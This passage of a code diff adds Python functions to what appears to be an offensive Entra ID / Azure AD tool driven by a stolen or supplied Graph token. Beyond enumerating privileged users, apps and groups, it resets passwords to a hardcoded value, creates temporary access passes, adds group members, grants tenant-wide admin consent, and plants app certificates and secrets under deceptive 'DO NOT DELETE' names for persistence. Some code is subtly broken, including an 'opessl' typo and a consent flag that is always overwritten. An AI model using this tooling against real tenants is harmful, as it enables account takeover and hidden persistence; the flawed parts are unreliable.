+ {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."},
+ {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."},
+ {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."},
+ {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."},
+ {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."},
+ {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."},
+ {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."},
+ {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."},
+ {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."},
+ {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."},
+ {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."},
+ {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."},
+ {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."},
+ {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."},
+ {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."},
+ {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."},
+ {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."},
+ {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."},
+ {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."},
+ {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."},
+ {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."},
+ {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."},
+ {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."}
+ ]
+
+ print_yellow("[*] Find-PrivilegedRoleUsers")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ for role in roles:
+ api_url = f"https://graph.microsoft.com/v1.0/directoryRoles(roleTemplateId='{role['roleTemplateId']}')/members"
+ response = requests.get(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] Role: {role['displayName']}")
+ print(f"Description: {role['description']}")
+ response_body = response.json()
+ filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")}
+ format_list_style(filtered_data)
+ else:
+ print_red(f"[-] Role: {role['displayName']}")
+ print("=" * 80)
+
+# find-privilegedapplications
+def find_privilegedapplications(args):
+ print_yellow("[*] Find-PrivilegedApplications")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/applications?$select=appId"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': 'Bearer ' + get_access_token(args.token),
+ 'Accept': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ applications = response.json()
+ app_ids = [app['appId'] for app in applications.get('value', [])]
+ else:
+ print_red(f"[-] Error: API request failed with status code {response.status_code}")
+ app_ids = []
+
+ service_principals = []
+ for app_id in app_ids:
+ sp_api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'&$select=id,appDisplayName"
+ sp_response = requests.get(sp_api_url, headers=headers)
+
+ if sp_response.status_code == 200:
+ sp_data = sp_response.json()
+ for sp in sp_data.get('value', []):
+ service_principals.append({
+ 'id': sp['id'],
+ 'appDisplayName': sp['appDisplayName']
+ })
+ else:
+ print_red(f"[-] Error: Service Principal API request failed for appId {app_id} with status code {sp_response.status_code}")
+
+ app_role_assignments = {}
+ for sp in service_principals:
+ app_role_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp['id']}/appRoleAssignments"
+ app_role_response = requests.get(app_role_url, headers=headers)
+
+ if app_role_response.status_code == 200:
+ assignments = app_role_response.json()
+ app_role_assignments[sp['id']] = {
+ 'appDisplayName': sp['appDisplayName'],
+ 'assignments': assignments.get('value', [])
+ }
+ else:
+ print_red(f"[-] Error: App Role Assignments API request failed for Service Principal ID {sp['id']}: {app_role_response.status_code}")
+ print_red(app_role_response.text)
+
+ def parse_roleids(content):
+ soup = BeautifulSoup(content, 'html.parser')
+ permissions = {}
+ for h3 in soup.find_all('h3'):
+ permission_name = h3.get_text()
+ table = h3.find_next('table')
+ rows = table.find_all('tr')
+ application_id = rows[1].find_all('td')[1].get_text()
+ delegated_id = rows[1].find_all('td')[2].get_text()
+ application_description = rows[2].find_all('td')[1].get_text()
+ delegated_description = rows[2].find_all('td')[2].get_text()
+ application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown"
+ delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown"
+ permissions[application_id] = ('Application', permission_name, application_description, application_consent)
+ permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent)
+ return permissions
+
+ script_dir = os.path.dirname(os.path.abspath(__file__))
+ file_path = os.path.join(script_dir, 'graphpermissions.txt')
+ try:
+ with open(file_path, 'r') as file:
+ content = file.read()
+ except FileNotFoundError:
+ print_red(f"\n[-] The file {file_path} does not exist.")
+ sys.exit(1)
+ except Exception as e:
+ print_red(f"\n[-] An error occurred: {e}")
+ sys.exit(1)
+ permissions = parse_roleids(content)
+
+ # results
+ for sp_id, data in app_role_assignments.items():
+ print(f"\nApplication: {data['appDisplayName']}")
+ if data['assignments']:
+ for assignment in data['assignments']:
+ app_role_id = assignment.get('appRoleId', 'N/A')
+ print_green(f"[+] App Role ID: {app_role_id}")
+ if app_role_id in permissions:
+ role_type, role_name, description, consent_required = permissions[app_role_id]
+ print_green(f"[+] Role Name: {role_name}")
+ print_green(f"[+] Description: {description}")
+ #print_green(f"[+] Role Type: {role_type}") # can only be application for appRoleAssignments, delegated role types use oauth2PermissionGrants
+ #print_green(f"[+] Admin Consent Required: {consent_required}") # admin consent required for all app graph perms
+ else:
+ print_red(f"[-] Role information not found for App Role ID: {app_role_id}")
+ print_green(f"[+] Resource: {assignment.get('resourceDisplayName', 'N/A')}")
+ print("---")
+ else:
+ print_red("[-] No role assignments")
+ print("=" * 80)
+
+# find-updatablegroups
+def find_updatablegroups(args):
+ print_yellow("[*] Find-UpdatableGroups")
+ print("=" * 80)
+ graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups"
+ estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess"
+
+ default_fields = ['id', 'displayName', 'description', 'isAssignableToRole', 'onPremisesSyncEnabled', 'mail', 'createdDateTime', 'visibility']
+
+ if args.select:
+ select_fields = args.select.split(',')
+ graph_api_endpoint += f"?$select=id,{args.select}"
+ else:
+ select_fields = default_fields
+ graph_api_endpoint += f"?$select=id,{','.join(select_fields)}"
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ results = []
+ while graph_api_endpoint:
+ try:
+ response = requests.get(graph_api_endpoint, headers=headers)
+ response.raise_for_status()
+ response_data = response.json()
+ for group in response_data['value']:
+ if 'id' not in group:
+ print_yellow(f"[-] Group without 'id' found, skipping")
+ continue
+ group_id = group['id']
+ request_body = {
+ "resourceActionAuthorizationChecks": [
+ {
+ "directoryScopeId": f"/{group_id}",
+ "resourceAction": "microsoft.directory/groups/members/update"
+ }
+ ]
+ }
+
+ while True:
+ try:
+ estimate_response = requests.post(estimate_access_endpoint, headers=headers, json=request_body)
+ estimate_response.raise_for_status()
+ estimate_data = estimate_response.json()
+ if estimate_data['value'][0]['accessDecision'] == "allowed":
+ group_out = {k: group.get(k) for k in select_fields if k in group}
+ results.append(group_out)
+ break
+ except requests.exceptions.HTTPError as e:
+ if e.response.status_code == 429:
+ print_yellow("[*] Requests throttled... sleeping for 5 seconds")
+ time.sleep(5)
+ else:
+ print_red(f"[-] Error estimating access for group: {str(e)}")
+ break
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Error estimating access for group: {str(e)}")
+ break
+ graph_api_endpoint = response_data.get('@odata.nextLink')
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Error fetching Groups: {str(e)}")
+ break
+ if results:
+ max_key_length = max(len(key) for result in results for key in result.keys())
+ for result in results:
+ for key, value in result.items():
+ print(f"{key:<{max_key_length}} : {value}")
+ print("")
+ else:
+ print_red("[-] No updatable groups found")
+ print("=" * 80)
+
+# find-dynamicgroups
+def find_dynamicgroups(args):
+ print_yellow("[*] Find-DynamicGroups")
+ print("=" * 80)
+ graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups"
+ estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ results = []
+ while graph_api_endpoint:
+ try:
+ while True:
+ try:
+ response = requests.get(graph_api_endpoint, headers=headers)
+ response.raise_for_status()
+ break
+ except requests.exceptions.HTTPError as e:
+ if e.response.status_code == 429:
+ print_yellow("[*] Requests throttled... sleeping 5 seconds")
+ time.sleep(5)
+ else:
+ raise
+ response_data = response.json()
+
+ for group in response_data['value']:
+ group_id = f"/{group['id']}"
+ request_body = {
+ "resourceActionAuthorizationChecks": [
+ {
+ "directoryScopeId": group_id,
+ "resourceAction": "microsoft.directory/groups/members/update"
+ }
+ ]
+ }
+
+ if group.get('membershipRule') is not None:
+ #print_green(f"[+] Found dynamic group: {group['displayName']}")
+ group_out = {
+ "Group Name": group.get('displayName'),
+ "Group ID": group.get('id'),
+ "Description": group.get('description'),
+ "Is Assignable To Role": group.get('isAssignableToRole'),
+ "On-Prem Sync Enabled": group.get('onPremisesSyncEnabled'),
+ "Mail": group.get('mail'),
+ "Created Date": group.get('createdDateTime'),
+ "Visibility": group.get('visibility'),
+ "MembershipRule": group.get('membershipRule'),
+ "Membership Rule Processing State": group.get('membershipRuleProcessingState')
+ }
+ results.append(group_out)
+
+ graph_api_endpoint = response_data.get('@odata.nextLink')
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Error fetching Group IDs: {str(e)}")
+ break
+ if results:
+ for result in results:
+ for key, value in result.items():
+ print(f"{key:<35} : {value}")
+ print()
+ else:
+ print_red("[-] No dynamic groups found")
+ print("=" * 80)
+
+# find-securitygroups
+def find_securitygroups(args):
+ print_yellow("[*] Find-SecurityGroups")
+ print("=" * 80)
+ graph_api_url = "https://graph.microsoft.com/v1.0"
+ groups_url = f"{graph_api_url}/groups?$filter=securityEnabled eq true"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ groups_with_members = []
+
+ while groups_url:
+ try:
+ response = requests.get(groups_url, headers=headers)
+ response.raise_for_status()
+ groups_response = response.json()
+ groups = groups_response.get('value', [])
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] An error occurred while retrieving security groups: {str(e)}")
+ return
+ for group in groups:
+ group_id = group['id']
+ members_url = f"{graph_api_url}/groups/{group_id}/members"
+
+ try:
+ members_response = requests.get(members_url, headers=headers)
+ members_response.raise_for_status()
+ members = members_response.json().get('value', [])
+ except requests.exceptions.HTTPError as e:
+ if e.response.status_code == 429:
+ print_yellow("[*] Being throttled... sleeping for 5 seconds")
+ time.sleep(5)
+ else:
+ print_red(f"[-] An error occurred while retrieving members for group {group['displayName']}: {str(e)}")
+ continue
+
+ member_info = [
+ member.get('userPrincipalName') or member.get('id', '')
+ for member in members
+ ]
+
+ group_info = {
+ "GroupName": group['displayName'],
+ "GroupId": group_id,
+ "Members": member_info
+ }
+
+ groups_with_members.append(group_info)
+ groups_url = groups_response.get('@odata.nextLink')
+
+ if groups_with_members:
+ #print_green(f"[*] Found {len(groups_with_members)} security groups\n")
+ for group in groups_with_members:
+ print(f"Group Name: {group['GroupName']}")
+ print(f"Group ID: {group['GroupId']}")
+ print("Members:")
+ for member in group['Members']:
+ print(f" - {member}")
+ print()
+ else:
+ print_red("[-] No security groups found")
+ print("=" * 80)
+
+# update-userpassword
+def update_userpassword(args):
+ if not args.id:
+ print_red("[-] Error: --id required for Update-UserPassword command")
+ return
+
+ print_yellow("[*] Update-UserPassword")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ json_body = {
+ "passwordProfile": {
+ "forceChangePasswordNextSignIn": False,
+ "password": "NewUserSecret@Pass!"
+ }
+ }
+
+ response = requests.patch(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
+ print_green("[+] User password profile updated")
+
+ else:
+ print_red(f"[-] Failed to update user password: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# update-userproperties
+def update_userproperties(args):
+ properties = [
+ "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans",
+ "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor",
+ "country", "createdDateTime", "department", "displayName", "employeeId",
+ "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests",
+ "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification",
+ "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone",
+ "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName",
+ "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier",
+ "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName",
+ "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation",
+ "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities",
+ "schools", "showInAddressList", "skills", "state", "streetAddress",
+ "surname", "usageLocation", "userPrincipalName", "userType", "webUrl"
+ ]
+
+ if not args.id:
+ print_red("[-] Error: --id required for Update-UserProperties command")
+ return
+
+ print_yellow("[*] Update-UserProperties")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ print("\033[34m[>] Property Definitions: https://learn.microsoft.com/en-us/graph/api/user-update\033[0m")
+ try:
+ userproperty = input("\nEnter Property: ").strip()
+ if userproperty not in properties:
+ print_red(f"\n[-] Error: '{userproperty}' is not a valid property.")
+ print("=" * 80)
+ sys.exit()
+ newvalue = input(f"Enter New '{userproperty}' Value: ").strip()
+ except KeyboardInterrupt:
+ sys.exit()
+
+ json_body = {
+ userproperty : newvalue
+ }
+
+ response = requests.patch(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
+ print_green("\n[+] User properties updated successfully")
+
+ else:
+ print_red(f"\n[-] Failed to update user properties: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# add-applicationcertificate
+def add_applicationcertificate(args):
+ openssl = """
+Genrate Certificate:
+opessl genrsa -out private.key 2048
+opessl req -new -key private.key -out request.csr
+opessl x509 -req -days 365 -in request.csr -signkey private.key -out certificate.crt
+opessl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.crt
+
+Then supply certificate (public key) with one of the following file types to --cert:
+.cer
+.pem
+.crt
+ """
+ if not args.id or not args.cert:
+ print_red("[-] Error: --id and --cert required for Add-ApplicationCertificate command")
+ print_red(openssl)
+ return
+
+ encoded_cert = read_and_encode_cert(args.cert)
+
+ print_yellow("[*] Add-ApplicationCertificate")
+ print("=" * 80)
+
+ # 1. Find existing certs so we don't remove them in the patch req
+ api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}"
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': 'Bearer ' + get_access_token(args.token),
+ 'Content-Type':'application/json',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ applications = response.json()
+ key_credentials = applications.get('keyCredentials', [])
+
+ else:
+ print_red(f"[-] Error obtaining existing certificates {response.status_code}")
+ print_red(response.text)
+
+ # 2. patch app added our cert to the existing
+ api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}"
+
+ try:
+ displayname = input("\nEnter Certificate Display Name: ").strip()
+ if not displayname:
+ displayname = "DevOps Certificate - DO NOT DELETE"
+
+ except KeyboardInterrupt:
+ sys.exit()
+
+ new_key_credential = {
+ "type": "AsymmetricX509Cert",
+ "usage": "Verify",
+ "key": encoded_cert,
+ "displayName": displayname
+ }
+
+ key_credentials.append(new_key_credential)
+ data = {
+ "keyCredentials": key_credentials
+ }
+
+ response = requests.patch(api_url, headers=headers, json=data)
+ if response.ok:
+ print_green("\n[+] Successfully added application certificate")
+ else:
+ print_red(f"\n[-] Failed to add certificate: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# add-applicationpassword
+def add_applicationpassword(args):
+ if not args.id:
+ print_red("[-] Error: --id required for Add-ApplicationPassword command")
+ return
+
+ print_yellow("[*] Add-ApplicationPassword")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}/addPassword"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ current_time_utc = datetime.now(timezone.utc)
+ six_months_later = current_time_utc + timedelta(days=6*30)
+ formatted_date = six_months_later.strftime("%Y-%m-%dT%H:%M:%SZ")
+ json_body = {"displayName":"Added by Azure Service Bus - DO NOT DELETE", "endDateTime": formatted_date}
+
+ response = requests.post(api_url, headers=headers, json=json_body)
+
+ if response.ok:
+ response_body = response.json()
+
+ for key, value in response_body.items():
+ if not key.startswith("@odata.context"):
+ pretty_value = json.dumps(value, indent=4)
+ if key == "secretText":
+ print_green(f"{key}: {pretty_value}")
+ else:
+ print(f"{key}: {pretty_value}")
+ else:
+ print_red(f"[-] Failed to add password: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# add-applicationpermission
+def add_applicationpermission(args):
+ if not args.id:
+ print_red("[-] Error: --id required for Add-ApplicationPermission command")
+ return
+
+ print_yellow("[*] Add-ApplicationPermission")
+ print("=" * 80)
+
+ # 1. check existing permissions
+ api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id
+ #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+ response = requests.get(api_url, headers=headers)
+ existingperms = []
+ if response.status_code == 200:
+ response_json = response.json()
+ existingperms = response_json.get('requiredResourceAccess', [])
+
+ # 2. patch perms
+ api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id
+ #api_url = f"https://graph.microsoft.com/v1.0/myorganization/applications/{args.id}" # object id
+ print("\033[34m[>] API Permissions: https://learn.microsoft.com/en-us/graph/permissions-reference\033[0m")
+
+ # permission id validation
+ def parse_permissionid(content):
+ soup = BeautifulSoup(content, 'html.parser')
+ permissions = {}
+ for h3 in soup.find_all('h3'):
+ permission_name = h3.get_text()
+ table = h3.find_next('table')
+ rows = table.find_all('tr')
+ application_id = rows[1].find_all('td')[1].get_text()
+ delegated_id = rows[1].find_all('td')[2].get_text()
+ application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown"
+ delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown"
+ permissions[application_id] = ('Application', permission_name, application_consent)
+ permissions[delegated_id] = ('Delegated', permission_name, delegated_consent)
+ return permissions
+
+ script_dir = os.path.dirname(os.path.abspath(__file__))
+ file_path = os.path.join(script_dir, 'graphpermissions.txt')
+
+ try:
+ with open(file_path, 'r') as file:
+ content = file.read()
+ except FileNotFoundError:
+ print_red(f"\n[-] The file {file_path} does not exist.")
+ sys.exit(1)
+ except Exception as e:
+ print_red(f"\n[-] An error occurred: {e}")
+ sys.exit(1)
+
+ permissions = parse_permissionid(content)
+
+ try:
+ permissionid = input("\nEnter API Permission ID: ").strip()
+ if permissionid not in permissions:
+ print_red("\n[-] Invalid permission ID. Not in graphpermissions.txt")
+ sys.exit(1)
+
+ permission_info = permissions[permissionid]
+ if len(permission_info) == 3:
+ permission_type, permission_name, admin_consent_required = permission_info
+ else:
+ permission_type, permission_name = permission_info
+ admin_consent_required = "Unknown"
+
+ print(f"\nPermission ID: {permissionid} corresponds to '{permission_name}' with type '{permission_type}'")
+
+ # grant admin consent option
+ print(f"Admin Consent Required: {admin_consent_required}")
+ if admin_consent_required.lower() == 'yes':
+ grantadminconsent = input(f"\nGrant Admin Consent For: {permission_name}? (yes/no): ").strip().lower()
+ else:
+ pass
+ grantadminconsent = 'no'
+
+ except KeyboardInterrupt:
+ sys.exit(1)
+
+ if permission_type.lower() == "application":
+ typevalue = "Role"
+ elif permission_type.lower() == "delegated":
+ typevalue = "Scope"
+ else:
+ print_red("\n[-] Unexpected error")
+ print("=" * 80)
+ sys.exit()
+
+ graphresource = next((resource for resource in existingperms if resource['resourceAppId'] == '00000003-0000-0000-c000-000000000000'), None) # does Microsoft Graph resource already exist
+
+ if graphresource:
+ graphresource['resourceAccess'].append({
+ "id": permissionid,
+ "type": typevalue
+ })
+ else:
+ existingperms.append({
+ "resourceAppId": "00000003-0000-0000-c000-000000000000",
+ "resourceAccess": [
+ {
+ "id": permissionid, # b633e1c5-b582-4048-a93e-9f11b44c7e96 -> Mail.Send (Application perm - admin consent required)
+ "type": typevalue
+ }
+ ]
+ })
+
+ # assign perm json
+ data = {
+ "requiredResourceAccess": existingperms
+ }
+ clientAppId = args.id
+ # admin consent json
+ admin_data = {
+ "clientAppId": clientAppId,
+ "onBehalfOfAll": True,
+ "checkOnly": False,
+ "tags": [],
+ "constrainToRra": True,
+ "dynamicPermissions": [
+ {
+ "appIdentifier": "00000003-0000-0000-c000-000000000000",
+ "appRoles": [permission_name],
+ "scopes": []
+ }
+ ]
+ }
+
+ response = requests.patch(api_url, headers=headers, json=data)
+ if grantadminconsent == "no":
+ if response.ok:
+ print_green("\n[+] Application permissions updated successfully")
+ print("=" * 80)
+ sys.exit()
+ else:
+ print_red(f"\n[-] Failed to update application permissions: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+ sys.exit()
+
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent,
+ 'Content-Type': 'application/json',
+ }
+
+ # any failures granting admin consent likely due to token scope/perms
+ if grantadminconsent == "yes":
+ if response.ok:
+ print_green("\n[+] Application permissions updated successfully")
+ print()
+ custom_bar = '╢{bar:50}╟'
+ for _ in tqdm(range(5), bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'):
+ time.sleep(1)
+
+ granturl = "https://graph.microsoft.com/beta/directory/consentToApp"
+ grantreq = requests.post(granturl, headers=headers, json=admin_data)
+
+ if grantreq.ok:
+ print_green(f"[+] Admin consent granted for: '{permission_name}'")
+ else:
+ print_red(f"\n[-] Failed to grant admin consent: {grantreq.status_code}")
+ print_red(grantreq.text)
+ print("=" * 80)
+
+# grant-appadminconsent
+def grant_appadminconsent(args):
+ if not args.id:
+ print_red("[-] Error: --id required for Grant-AppAdminConsent command")
+ return
+
+ print_yellow("[*] Grant-AppAdminConsent")
+ print("=" * 80)
+ clientAppId = args.id
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent,
+ 'Content-Type': 'application/json',
+ }
+
+ script_dir = os.path.dirname(os.path.abspath(__file__))
+ file_path = os.path.join(script_dir, 'graphpermissions.txt')
+
+ try:
+ with open(file_path, 'r') as file:
+ content = file.read()
+ except FileNotFoundError:
+ print_red(f"\n[-] The file {file_path} does not exist.")
+ sys.exit(1)
+ except Exception as e:
+ print_red(f"\n[-] An error occurred: {e}")
+ sys.exit(1)
+ try:
+ permission_names = input("\nEnter Permission Names (comma-separated): ").strip().split(',')
+ permission_names = [name.strip() for name in permission_names]
+
+ except KeyboardInterrupt:
+ sys.exit()
+
+ invalid_permissions = [name for name in permission_names if name not in content]
+
+ if invalid_permissions:
+ print_red(f"\n[-] Invalid Graph permissions: {', '.join(invalid_permissions)}")
+ print("=" * 80)
+ sys.exit()
+ admin_data = {
+ "clientAppId": clientAppId,
+ "onBehalfOfAll": True,
+ "checkOnly": False,
+ "tags": [],
+ "constrainToRra": True,
+ "dynamicPermissions": [
+ {
+ "appIdentifier": "00000003-0000-0000-c000-000000000000",
+ "appRoles": permission_names,
+ "scopes": []
+ }
+ ]
+ }
+
+ url = "https://graph.microsoft.com/beta/directory/consentToApp"
+ request = requests.post(url, headers=headers, json=admin_data)
+
+ if request.ok:
+ print_green(f"\n[+] Admin consent granted for: '{', '.join(permission_names)}'")
+ else:
+ print_red(f"\n[-] Failed to grant admin consent: {request.status_code}")
+ print_red(request.text)
+ print("=" * 80)
+
+# add-userTAP
+def add_usertap(args):
+ if not args.id:
+ print_red("[-] Error: --id required for Add-UserTAP command")
+ return
+
+ print_yellow("[*] Add-UserTAP")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/temporaryAccessPassMethods"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ current_time_utc = datetime.now(timezone.utc)
+ one_hour_later = current_time_utc + timedelta(minutes=60)
+ formatted_date = one_hour_later.strftime("%Y-%m-%dT%H:%M:%SZ")
+
+ json_body = {
+ "properties": {
+ "isUsableOnce": True,
+ "startDateTime": formatted_date
+ }
+ }
+
+ response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
+ response_body = response.json()
+
+ for key, value in response_body.items():
+ if not key.startswith("@odata.context"):
+ pretty_value = json.dumps(value, indent=4)
+ print(f"{key}: {pretty_value}")
+
+ url = response_body.get("@odata.nextLink")
+ if url:
+ response = requests.get(url, headers=headers)
+ response.raise_for_status()
+ response_body = response.json()
+ else:
+ print_red(f"[-] Failed to add TAP: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# add-groupmember
+def add_groupmember(args):
+ if not args.id:
+ print_red("[-] Error: --id groupid,objectid required for Add-GroupMember command")
+ return
+
+ ids = args.id.split(',')
+ if len(ids) != 2:
+ print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).")
+ return
+
+ group_id, member_id = ids[0].strip(), ids[1].strip()
+ print_yellow("[*] Add-GroupMember")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ json_body = {
+ "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{member_id}"
+ }
+
+ response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
